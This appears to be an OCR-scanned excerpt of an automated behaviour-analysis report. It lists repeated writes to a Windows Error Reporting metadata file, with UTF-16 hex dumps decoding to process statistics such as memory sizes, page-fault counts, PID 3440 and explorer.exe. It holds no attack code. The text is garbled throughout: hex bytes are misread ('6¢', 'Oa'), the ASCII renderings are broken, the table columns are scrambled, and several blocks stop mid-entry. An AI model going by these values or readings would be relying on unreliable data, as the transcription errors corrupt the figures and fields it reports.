ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset Length Value

unknown 82

unknown 4

unknown 2

unknown 52

unknown 4

unknown 2

unknown 44

unknown 4

unknown 2

unknown 86

unknown 4

unknown 2

unknown 70

unknown 4

unknown 2

unknown 74

3c 00 57 00 6f 00 77
00 36 00 34 00 20 00
67 00 75 00 65 00 73
00 74 00 3d 00 22 00
33 003300320022
00 20 00 68 00 6f 00
7300 74 00 3d 00 22
00 33 00 34 00 34 00
30 00 34 00 22 00 3e
00 31 00 3c 00 2f 00
57 00 6f 00 77 00 36
00 34 00 3e 00

0d 00 0a 00

09 00

3c 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00 30 00 3c 00
2f 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 56 00 6d 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00 39
00 37 00 34 00 39 00
3200 39 00 39 00 32
00 3c 00 2f 00 50 00
65 00 61 00 6b 00 56
00 69 00 72 00 74 00
7500 61 00 6¢ 00 53
00 69 00 7a 00 65 00
3e 00

0d 00 0a 00

09 00

3¢ 00 56 00 69 00 72
00 74 00 75 00 61 00
6¢ 00 53 00 69 00 7a
00 65 00 3e 00 39 00
37 00 34 00 38 00 34
00 38 00 30 00 30 00
3c 00 2f 00 56 00 69
00 72 00 74 00 75 00
61 00 6¢ 00 53 00 69
00 7a 00 65 00 3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
7400 3e 00 33 00 37
00 38 00 37 00 3c 00
2f 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
74 00 3e 00

Ascii Completion

<W.o.w.6.4. success or wait
4.4.04.">.1.

<./W.o.w.6.4.>.

success or wait

success or wait

<.l.p.t.E.n.a.b.l.e.d.>.0.<./. success or wait
l.p.t.E.n.a.b.l.e.d.>.

success or wait

success or wait

<.P.ro.c.e.s.s.V.m.L.n.f.o.r. success or wait
m.a.t.i.o.n.>.

success or wait

success or wait

<.P.eak.\V.irtualS.iz success orwait
e.>.9.7.4.9.29.9.2.

<./.P.ea.

k.\VirtualS.ize>.

success or wait

success or wait

<.VirtualS.i.z.e>97. success orwait
4.8.4.8.0.0.<./V.irtu.a.l.

S.i.z.e>.

success or wait

success or wait

<.P.a.g.e.F.a.u.l.t.C.o.u.n.t. success or wait
>.3.7.8.7.

<./.P.a.g.e.F.a.u.l.

t.C.o.u.n.t.>.

Source

Count Address Symbol

1

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 98 3c 005000650061 <.P.e.a.kW.o.rk.in.g.S.e.t success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00 6b 00 57 00 600 .S.i.z.e.>.1.4.2.0.9.0.2.4.

7200 6b 0069 00 6e <./
00670053006500 P.eakW.o.rkings.etsS
7400530069007a .i.z.e.>.
00 65 00 3e 00 31 00

34 00 32 00 30 00 39

00 30 00 32 00 34 00

3c 00 2f 00 50 00 65

00 61 00 6b 00 57 00

6f 00 72 00 6b 00 69

00 6e 00 67 00 53 00

65 00 74 00 53 00 69

00 7a 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait g 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 82 3c0057006f0072 <.W.o.rk.in.g.S.etS.i.z.e. success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00 6b 00 69 00 6e 00 >.1.4.2.0.0.8.3.2.

67 005300650074 <./W.o.rk.
00530069007a00 in.g.S.etS.ize>.
65 00 3e 00 31 00 34

00 32 00 30 00 30 00

3800 33 00 32 00 3¢

00 2f 00 57 00 6f 00

72 00 6b 00 69 00 6e

00 67 00 53 00 65 00

7400 53 00 69 00 7a

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait g 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 114 3c00510075006f <.Q.u.o.ta.P.eak.P.a.g.e. success orwait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 0074 0061005000 d.

650061 006b0050 P.o.0lU.s.a.ge>1.7.85.
00 61 00 67 00 6500 6.0.

64 00 50 00 6f 00 6f <./.Q.u.0.t.a.P.e.ak.P.ag.
006c 0055007300 e.d.P.o.o.l.lUs.ag.e.>.

61 00 67 00 65 00 3e

00 31 00 37 00 38 00

3500 36 00 30 00 3c

00 2f 00 51 00 75 00

6f 00 74 00 61 00 50

00 65 00 61 00 6b 00

50 00 61 00 67 00 65

00 64 00 50 00 6f 00

6f 00 6¢ 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 98 3c00510075006f <.Q.u.o.ta.P.a.g.e.d.P.o.0o. success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00740061005000 lU.s.a.g.e.>.1.7.8.5.6.0.

6100 67 00 650064 <./.Q.
00 50 00 6f 00 6f 00 6¢ u.o.t.a.P.a.g.e.d.P.o.0.l.U.s
00550073006100 .a.g.e.>.
67 00 65 00 3e 00 31

00 37 00 38 00 35 00

36 00 30 00 3c 00 2f

00 51 00 75 00 6f 00

7400 61 00 50 00 61

00 67 00 65 00 64 00

50 00 6f 00 6f 00 6¢

00 55 00 73 00 61 00

67 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 124 3c00510075006f <.Q.u.o.t.a.P.e.a.k.N.o.n.P. success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00740061005000 a.

6500 61 00 6b 004e g.e.d.P.o.0.l.U.s.a.g.e.>.7.
00 6f 00 6e 0050 00  5.5.8.4.

6100 67 00 6500 64 <./.Q.u.0.t.a.P.e.ak.N.

00 50 00 6f 00 6f00  o.n.P.a.g.e.d.P.o.0.l.U.s.a.
6c 005500730061 g.e>.

00 67 00 65 00 3e 00

37 00 35 00 35 00 38

00 34 00 3c 00 2f 00

51 00 75 00 6f 00 74

00 61 00 50 00 65 00

61 00 6b 00 4e 00 6f

00 6e 00 50 00 61 00

67 00 65 00 64 00 50

00 6f 00 6f 00 6¢ 00

5500 73 00 61 00 67

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 108 3c00510075006f <.Q.u.o.t.a.N.o.n.P.a.g.e.d. success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00740061004e00 P.

6f 00 6e 0050 00 61 ©0.0.l.U.s.a.g.e.>.7.5.3.1.2.
0067 00 65006400 <.

50 00 6f 00 6f 00 6c  /.Q.u.o.t.a.N.o.n.P.a.g.e.d.
00550073006100 P.o.0.lUs.ag.e>.

67 00 65 00 3e 00 37

00 35 00 33 00 31 00

3200 3c 00 2f 00 51

00 75 00 6f 00 74 00

61 00 4e 00 6f 00 6e

00 50 00 61 00 67 00

65 00 64 00 50 00 6f

00 6f 00 6¢ 00 55 00

7300 61 00 67 00 65

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 76 3c 005000610067 <.P.ag.e.fileU.s.ag.e> successorwait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00650066 006900 7.7.4.1.4.4.0.<./P.a.g.ef.i.

6c 006500550073 leU.s.a.g.e>.
00 61 00 67 00 65 00

3e 00 37 00 37 00 34

00 31 00 34 00 34 00

30 00 3c 00 2f 00 50

00 61 00 67 00 65 00

66 00 69 00 6¢ 00 65

00 55 00 73 00 61 00

67 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 92 3c 005000650061 <.P.e.ak.P.ag.ef.ileU.s. success orwait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00 6b 0050006100 a.g.e.>.7.7.4.9.6.3.2.

67 00 6500 66 0069 <./.P.e.

00 6c 00 65005500 ak.P.a.g.e.file.U.s.ag.e.
73 006100670065 >.

00 3e 00 37 00 37 00

34 00 39 00 36 00 33

00 32 00 3c 00 2f 00

50 00 65 00 61 00 6b

00 50 00 61 00 67 00

65 00 66 00 69 00 6¢

00 65 00 55 00 73 00

61 00 67 00 65 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown

ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 72 3c005000720069 <.P.rivate.U.s.a.g.e.>7. success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00760061007400 7.4.1.4.4.0</P.riv.ate.

65005500730061 U.s.a.g.e.>.
00 67 00 65 00 3e 00
37 003700340031
00 34 00 34 00 30 00
3c 00 2f 00 50 00 72
00 69 00 76 00 61 00

74 00 65 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 46 3c002f00500072 <./.P.r.o.ce.s.s.V.m.l.n.f.o. success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00 6f00 63 006500 r.m.a.t.i.o.n.>.

7300 73 00 56 00 6d

00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 30 3c005000610072 <.P.ar.e.n.tP.r.o.c.e.s.s.> success orwait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00 65 00 6e 00 74 00

50 00 72 00 6f 00 63
00 65 00 73 00 73 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c 0050007200 6f <.P.r.o.c.e.s.s.l.nfo.rm.a. success orwait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 0063 0065007300 t.i.o.n.>.

73 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 30 3c 005000690064 <.P.i.d.>3.4.4.0.<./.P.i.d.>. success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00 3e 00 33 00 34 00

34 00 30 00 3c 00 2f
00 50 00 69 00 64 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 70 3c0049006d 0061 <..m.a.g.e.N.a.m.e.>.e.x.p success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 0067 006500 4e 00 .l.or.e.r..ex.e.

61 00 6d 00 6500 3e <./.lm.a.g.e.N.am.e>.
00 65 00 78 00 70 00

6¢ 00 6f 00 72 00 65

00 72 00 2e 00 65 00

78 00 65 00 3c 00 2f

00 49 00 6d 00 61 00

67 00 65 00 4e 00 61

00 6d 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 90 3c0043006d0064 <.C.m.d.L.i.n.e.S..g.n.a.t.u success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00 4c 00 69 00 6e 00 .r.e.>.8.0.0.0.4.0.0.5.

65 005300690067 <./.C.m.
006e 0061007400 d.L.i.ne.S.ig.nature.>.
7500 72 00 65 00 3e

00 38 00 30 00 30 00

30 00 34 00 30 00 30

00 35 00 3c 00 2f 00

43 00 6d 00 64 00 4c

00 69 00 6e 00 65 00

53 00 69 00 67 00 6e

00 61 00 74 00 75 00

72 00 65 00 3e 00
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 4

unknown 2

unknown 48

unknown 4

unknown 2

unknown 78

unknown 4

unknown 2

unknown 52

unknown 4

unknown 2

unknown 44

unknown 4

unknown 2

unknown 90

unknown 4

unknown 2

Length Value

0d 00 0a 00

09 00

3¢ 00 55 00 70 00 74
00 69 00 6d 00 65 00
3e 00 3500 34 00 32
00 37 00 36 00 39 00
34 00 3c 00 2f 00 55
00 70 00 74 00 69 00
6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 57 00 6f 00 77
00 36 00 34 00 20 00
67 00 75 00 65 00 73
00 74 00 3d 00 22 00
30 00 22 00 20 00 68
00 6f 00 73 00 74 00
3d 00 22 00 33 00 34
00 34 00 30 00 34 00
2200 3e 0030 00 3c
00 2f 00 57 00 6f 00
77 00 36 00 34 00 3e
00

0d 00 0a 00

09 00

3c 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00 30 00 3c 00
2f 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 56 00 6d 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00 34
00 32 00 39 00 34 00
39 00 36 00 37 00 32
00 39 00 35 00 3c 00
2f 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00

0d 00 0a 00

09 00

Ascii

<.U.p.tim.e>.5.4.2.7.6.9.
4.</.U.p.tim.e>.

.h.0.5.t.=.".3.4.4.0.4.".>.0.
<./W.o.w.6.4.>.

<.|.p.t.E.n.a.b.l.e.d.>.0.</.
l.p.t.E.n.a.b.l.e.d.>.

<.P.ro.ce.s.s.V.m.Ln.fo.r.
m.a.t.i.o.n.>.

<.P.eak.V.irtualS.z.
e.>.4.2.9.4.9.6.7.2.9.5.
<./.P.
eak.\VirtualS.ize>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

1

4

1

1

5

Source

Address Symbol

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset Length

unknown 74

unknown 4

unknown 2

unknown 76

unknown 4

unknown 2

unknown 100

unknown 4

unknown 2

unknown 84

unknown 4

unknown 2

unknown 114

Value

3c 00 56 00 69 00 72
00 74 00 75 00 61 00
6¢ 00 53 00 69 00 7a
00 65 00 3e 00 34 00
320039 00 34 00 39
00 36 00 37 00 32 00
39 00 35 00 3c 00 2f
00 56 00 69 00 72 00
7400 7500 61 00 6¢
00 53 00 69 00 7a 00
65 00 3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
7400 3e 00 3500 31
00 37 00 36 00 30 00
3c 00 2f 00 50 00 61
00 67 00 65 00 46 00
61 00 75 00 6¢ 00 74
00 43 00 6f 00 75 00
6e 00 74 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 65 00 61
00 6b 00 57 00 6f 00

72 00 6b 00 69 00 6e
00 67 00 53 00 65 00
74 0053 0069 00 7a
00 65 00 3e 00 31 00
3000 37 00 31 00 34
00 33 00 31 00 36 00
38 00 3c 00 2f 00 50

00 65 00 61 00 6b 00
57 00 6f 00 72 00 6b

00 69 00 6e 00 67 00
53 00 65 00 74 00 53
00 69 00 7a 00 65 00
3e 00

0d 00 0a 00

09 00

3c 00 57 00 6f 00 72
00 6b 00 69 00 6e 00
67 00 53 00 65 00 74
00 53 00 69 00 7a 00
65 00 3e 00 31 00 30
00 31 00 3500 39 00
33 00 3000 38 00 38
00 3c 00 2f 00 57 00
6f 00 72 00 6b 00 69
00 6e 00 67 00 53 00
65 00 74 00 53 00 69
00 7a 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
65 00 61 00 6b 00 50
00 61 00 67 00 65 00
64 00 50 00 6f 00 6f
00 6¢ 00 55 00 73 00
61 00 67 00 65 00 3e
00 39 00 38 00 37 00
33 00 36 00 38 00 3c
00 2f 00 51 00 75 00
6f 00 74 00 61 00 50
00 65 00 61 00 6b 00
50 00 61 00 67 00 65
00 64 00 50 00 6f 00
6f 00 6¢ 00 55 00 73
00 61 00 67 00 65 00
3e 00

Ascii

<VirtualS.iz.e>42.
9.4.9.6.7.2.9.5.<./.V.irtu.

alS.iz.e>.

Completion

success or wait

success or wait

success or wait

<.P.a.g.e.F.a.u.l.t.C.0.u.n.t. success or wait

>.5.1.7.6.0.
<./.P.a.g.e.F.a.u.
L.t.C.o.u.n.t.>.

success or wait

success or wait

<.P.e.a.k.W.o.rk.i.n.g.S.e.t success or wait

.S.i.z.e.>.1.0.7.1.4.3.1.6.8.

<.

/.P.e.a.k.W.o.rk.i.n.g.S.e.t.

S.i.z.e>.

success or wait

success or wait

<W.o.rk..n.g.S.e.t.S.i.z.e. success or wait

>.1.0.1.5.9.3.0.8.8.
<..W.o.r.
ki.n.g.S.etS.i.z.e>.

success or wait

success or wait

<.Q.u.o.t.a.P.e.a.k.P.a.g.e. success or wait

d.

P.o.0.l.U.s.a.g.e.>.9.8.7.3.

6.8.

<./.Q.u.o.t.a.P.e.ak.P.a.g.

e.d.P.o.0o.l.Us.a.g.e>.

Count Address

1

Source
Symbol

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset Length

unknown 4

unknown 2

unknown 98

unknown 4

unknown 2

unknown 124

unknown 4

unknown 2

unknown 108

unknown 4

unknown 2

unknown 78

unknown 4

unknown 2

Value

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 39
00 35 00 30 00 32 00
3300 32 00 3c 00 2f
00 51 00 75 00 6f 00
74 00 61 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
